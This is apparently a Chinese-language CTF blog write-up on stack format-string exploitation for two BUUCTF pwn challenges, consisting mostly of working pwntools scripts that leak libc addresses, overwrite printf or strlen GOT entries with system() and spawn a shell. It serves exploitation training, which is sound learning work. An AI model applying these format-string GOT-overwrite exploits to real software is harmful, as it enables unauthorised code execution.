星盟 | 棧上格式化字串漏洞利用
阿新 • • 發佈:2021-10-03
wdb_2018_2nd_easyfmt | buuctf
檢視保護可以知道GOT表可寫,只開了NX保護,主體函式是迴圈函式,那麼可以通過洩露地址,將printf(&buf);
覆寫為system("/bin/sh");
但是程式中本身沒有呼叫system,所以要在libc中找system,所以第一步是洩露地址,模擬輸入,洩露棧資料(與libc有關的)
printf與system的地址有2.5位元組不同
# 本地 from pwn import * context.log_level = "debug" #context.terminal = ['tmux','splitw','-h'] context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] #p = remote("node4.buuoj.cn",26170) p = process("wdb_2018_2nd_easyfmt") elf = ELF('./wdb_2018_2nd_easyfmt') libc = ELF("./lib32.so") printf_got = elf.got['printf'] success("printf_got => {} ".format(hex(printf_got))) def myp32(input): return p32(input).decode("iso-8859-1") #gdb.attach(p,"b*printf") p.recvuntil("Do you know repeater?\n") p.sendline("%3$p") libc_base = int(p.recv(10),16) - 0x9079b system_addr = libc_base + 0x3adb0 success("libc_base => {} ".format(hex(libc_base))) success("system_addr => {} ".format(hex(system_addr))) ''' system_low = system_addr&0xffffS system_high = (system_addr>>16)&0xffff payload = myp32(printf_got) +myp32(printf_got+2) payload += "%"+str(system_low-8)+'c%6$hn' payload += "%"+str(system_high-system_low)+'c%7$hn' ''' payload = fmtstr_payload(6,{printf_got:system_addr},write_size = 'short') p.send(payload) #pause() #sleep(0.2) pause() p.send('/bin/sh\x00') #p.recvall() pause() p.interactive()
axb_2019_fmt32 | buuctf
跟上題的保護機制一樣,IDA原始碼如下,對於迴圈有輸入的時間限制,可以選擇洩露libc基地址
在printf處下斷點,可以看到輸入相對於格式化字串的偏移為8,並且還沒對齊,對其需要一個字元。
#本地 from pwn import * context(os='linux',arch='i386',log_level='debug') context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] r = process("./axb_2019_fmt32") #r = remote("node4.buuoj.cn","27205") elf=ELF("./axb_2019_fmt32") libc = ELF("./libc-2.23 .so") printf_got = elf.got['printf'] def myp32(input): return p32(input).decode("iso-8859-1") #gdb.attach(r,"b *printf") payload = 'a' + myp32(printf_got) +'22'+ '%8$s' r.sendafter('me:', payload) r.recvuntil("22") printf_addr = u32(r.recv(4)) print ("printf_addr:"+hex(printf_addr)) #libc=LibcSearcher('printf',printf_addr) #libc_base=printf_addr-libc.dump('printf') #system=libc_base+libc.dump('system') libc_base=printf_addr-0x49680 system=libc_base+ 0x3adb0 success("libc_base => {} ".format(hex(libc_base))) success("system_addr => {} ".format(hex(system))) payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "short",numbwritten = 0xa) #p.recvuntil(':') r.sendline(payload) gdb.attach(r,"b *printf") #pause() r.sendline(';/bin/sh\x00') r.interactive()
參考
#coding:utf-8 from pwn import * context(os='linux',arch='i386',log_level='debug') #sh = process("./axb_2019_fmt32") sh = remote("node4.buuoj.cn","27205") please_tell_me = 0x804887D printf_got = 0x804A014 strlen_got = 0x804A024 def myp32(input): return p32(input).decode("iso-8859-1") x = 'A' + myp32(printf_got)+ '22' + '%8$s' sh.sendafter("Please tell me:",x) sh.recvuntil("22") printf_addr = u32(sh.recv(4)) print(hex(printf_addr)) system_addr = printf_addr - 0xe6e0 binsh = printf_addr + 0x11000b high_sys = (system_addr >> 16) & 0xffff low_sys = system_addr & 0xffff print('sys'+hex(system_addr)) print('low'+hex(low_sys)) print('high'+hex(high_sys)) x = 'A' + myp32(strlen_got) + myp32(strlen_got+2) + '%' + str(low_sys-18) +'c%8$hn' + '%' + str(high_sys - low_sys) + 'c%9$hn' #x = 'A' + p32(strlen_got) + '%' + str(system_addr-14) + 'c%8$n' # 用%n寫入不行,程式超時而且並沒有寫入,之後還是正常執行 sh.sendafter("Please tell me:",x) x = ';/bin/sh\x00' sh.sendafter("Please tell me:",x) sh.interactive()
遠端
from os import system
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#r = process("./axb_2019_fmt32")
r = remote("node4.buuoj.cn","27205")
elf=ELF("./axb_2019_fmt32")
#libc = ELF("./libc-2.23 .so")
printf_got = elf.got['printf']
strlen_got = 0x804A024
def myp32(input):
return p32(input).decode("iso-8859-1")
#gdb.attach(r,"b *printf")
payload = 'a' + myp32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr:"+hex(printf_addr))
#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')
system = printf_addr- 0xe6e0
success("system_addr => {} ".format(hex(system)))
payload=b'a'+fmtstr_payload(8,{strlen_got:system},write_size = "short",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
#gdb.attach(r,"b *printf")
#pause()
r.sendline(';/bin/sh\x00')
r.interactive()
不太明白的是為什麼要替換strlen和地址偏移(本地除錯不出來這個偏移)
zer0_1s